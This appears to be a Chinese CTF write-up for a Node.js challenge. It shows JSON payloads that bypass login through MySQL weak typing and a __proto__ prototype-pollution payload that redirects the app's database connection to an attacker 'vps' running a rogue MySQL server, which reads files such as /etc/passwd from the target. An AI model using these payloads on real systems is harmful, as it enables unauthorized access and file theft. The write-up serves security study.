一道有趣的关于nodejs的ctf题

  1. 1. bypass登陆
  2. 2. 原型链污染
  3. 3. MySQL服务端读取客户端文件

来自小密圈代码审计

GitHub: https://github.com/niexinming/prototype_pullotion/

题解: https://xz.aliyun.com/t/6991

考察: Mysql占位符bypass , 原型链污染 , MySQL服务端恶意读取客户端文件

bypass登陆

之前D^3CTF就有一个bypass登陆的,拿来直接用发现还是可以.
下面的经过预处理sql语句会变为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
'username': 'admin',
'password':
{
'password': 1
}
}

=>
select * from user where user= 'admin' and passwd =`passwd` = 1
<=> select * from user where user= 'admin' and ((passwd = `passwd`) = 1);
<=> select * from user where user= 'admin' and ( 1=1 );
<=> select * from user where user= 'admin' and 1;
<=> select * from user where user= 'admin';

另一种

1
2
3
4
5
6
7
{
"user":[0],
"passwd":[0]
}
=>
select * from user where user= 0 and passwd =0
<=> select * from user where 1 and 1;

再加一种:

1
2
3
4
{
"user":0,
"passwd":0
}

这两种利用的都是mysql弱类型

可能还有很多种别的情况有待探索

原型链污染

很明显的原型链污染.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// ...
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}

function clone(a) {
return merge({}, a);
}
// ...
router.post('/', function(req, res, next) {
var body = JSON.parse(JSON.stringify(req.body));
if (body.host != undefined) {
res.json({
"error": "error","msg":"no !! !!"
})
process.exit(-1);
}
var copybody = clone(body)
// ...
}

可以污染host为任意值.

1
2
3
4
5
6
7
{
"user":[0],
"passwd":[0],
"__proto__":{
"host":"test"
}
}

MySQL服务端读取客户端文件

参考: https://blog.csdn.net/ls1120704214/article/details/88174003

https://www.anquanke.com/post/id/106488

https://lightless.me/archives/read-mysql-client-file.html

大致漏洞原理:

  1. Mysql中存在服务端读取客户端的语法:
1
load data local infile "/data/test.csv" into table TestTable;
  1. Mysql客户端不会储存它的上一个请求,即不会记得它做过了什么
  2. Mysql在完成多步骤操作的时候会根据服务的发送的响应来确定下一步操作

形象表示:

1
2
3
4
1.客户端:把我我本地/data/test.csv的内容插入到TestTable表中去
2.服务端:请把你本地/data/test.csv的内容发送给我
3.客户端:好的,这是我本地/data/test.csv的内容:....
4.服务端:成功/失败

恶意服务端:

1
2
3
4
1.客户端:把我我本地/data/test.csv的内容插入到TestTable表中去
2.服务端:请把你本地/etc/passwd的内容发送给我
3.客户端:好的,这是我本地/etc/passwd的内容:....
4.服务端:...

直接利用现成的恶意服务端: https://github.com/allyshka/Rogue-MySql-Server

需要改三个参数Mysql端口, 日志文件名, 读取的文件路径

image-20210416204624635

因为vps上3306端口上有正常Mysql服务,所以我把端口改成了3307

后面参数污染的时候也就多了一项

POST http://127.0.0.1:3000/

1
2
3
4
5
6
7
8
{
"user":[0],
"passwd":[0],
"__proto__":{
"host":"vps",
"port":"3307"
}
}

image-20210416204603323